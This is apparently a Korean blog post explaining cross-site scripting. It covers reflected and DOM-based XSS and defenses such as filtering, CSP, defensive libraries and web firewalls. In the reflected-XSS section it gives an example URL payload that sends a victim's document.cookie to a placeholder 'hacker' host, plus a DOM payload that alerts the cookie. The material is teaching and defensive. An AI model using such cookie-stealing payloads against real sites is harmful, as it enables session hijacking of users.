티스토리 뷰

1. XSS 공격이란? 

 - 웹 사이트 관리자가 아닌 user(공격자)가 웹 페이지에 client측에 script를 삽입하여 다른 user가 이를 실행하도록 허용하는 취약점이다.

 - 여러 사용자가 공유하여 이용하는 전자게시판 형태의 Web Application이 사이트간 scripting 취약점을 가질경우 공격대상이 되기 쉽다.

 - 게시판이 아니더라도 User가 입력한 값이 DB에 저장이 되고 저장된 Data가 그대로 Client에 보여주는 사이트는 공격이 성공할 가능성이 크다.

 - 공격 대상 웹사이트에 삽입한 script를 이용하여 다른 웹사이트에 접근하도록 하는것도 가능하여 '사이트간 스크립팅'(Cross-Site-Scripting)이라고 한다.

 

2. XSS 공격의 종류

 • 반사형 XSS 공격 (Reflected XSS)

  - User에게 입력 받은 값을 Server에서 그대로 되돌려 주는경우 발생한다.

  - 사용자가 입력한 값을 오류메시지에 포함하여 보여주는곳에 악성 Script가 삽입되는 경우 Server가 사용자의 입력값을 포함하여 응답할때 Script가 실행된다. 

  - 악성 Script가 포함된 URL을 User에게 누르도록 유도하고, URL을 누른 User는 악성 Script가 실행되며 공격을 당함.

  - URL Parameter(특히 Get 방식)에 악성 Script를 주입하여 Server에 저장하지 않고 그 즉시 Script를 만드는 방식이다.

  - 공격대상의 쿠키를 얻어내는 악성 script예시

    http://ex?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>

 

 • DOM 기반 XSS 공격 (Document Object Model)기반 XSS 공격

  - 악성 Script가 포함된URL을 사용자가 요청하게되어 Browser를 해석하는 단계에서 발생하는 공격, 악성 Script로 인해 Client측 Code가 의도와는 다르게 실행된다.

  - http://ex/page.html#default=<script>alert(document.cookie</script>

  - 위의 악성스크립트 예시에서 '#' 이후의 값은 Server로 전송되지 않는 특성 때문에 Server에서 탐지가 어렵다.

 

3. XSS 공격에 대한 방어 방법

 • 입출력 Data 검증

  - User가 Data를 입력, 출력할 때 모두 필터링하고 Client에서도 막을 수 있을만한 수단을 구성해 놓는다.

  - CSP (Contents Security Policy, 콘텐츠 보안 정책)를 사용하여 Script 실행에 대한 조건을 설정하여 알수없는 Script가 실행되는것을 예방한다.

 

 • XSS 방어 라이브러리 제작 및 사용

  - XSS를 막아주는 라이브러리를 제작하여 사용하거나, 전문적인 보안업체에서 만든 믿을만한 라이브러리를 사용하여 XSS 공격을 막아주어야 한다.

  - XSS 라이브러리를 사용하는 것은 Server단에서 개발자가 추가하는 것이고, 사용자들이 각자 본인의 Browser에서 악성 Script가 실행되지 않도록 방어해야 한다.

 

 • 웹 방화벽 사용

  - 웹 공격에 특화되어 있는 웹 방화벽을 사용한다.

  - XSS공격 뿐만아니라 SQL Injection공격과 같은 공격을 방어할 수 있다.

공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
글 보관함